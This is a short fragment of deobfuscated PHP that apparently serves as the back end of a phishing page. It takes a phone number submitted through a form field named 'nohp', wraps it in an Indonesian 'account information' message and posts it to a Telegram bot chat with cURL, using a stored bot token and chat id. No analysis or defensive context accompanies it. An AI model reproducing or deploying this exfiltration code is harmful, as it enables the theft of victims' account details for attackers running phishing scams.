/* Decoded by unphp.net */ Id; $YZ = $ID->Token; $a = $_POST['nohp']; $_SESSION['nohp'] = $a; $sms = " INFORMASI AKUN Akun: ". $a . " "; $curl = curl_init(); // Set the API endpoint URL $url = "https://api.telegram.org/bot$YZ/sendMessage"; // Set cURL options curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms))); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); curl_close($curl); echo $response; ?>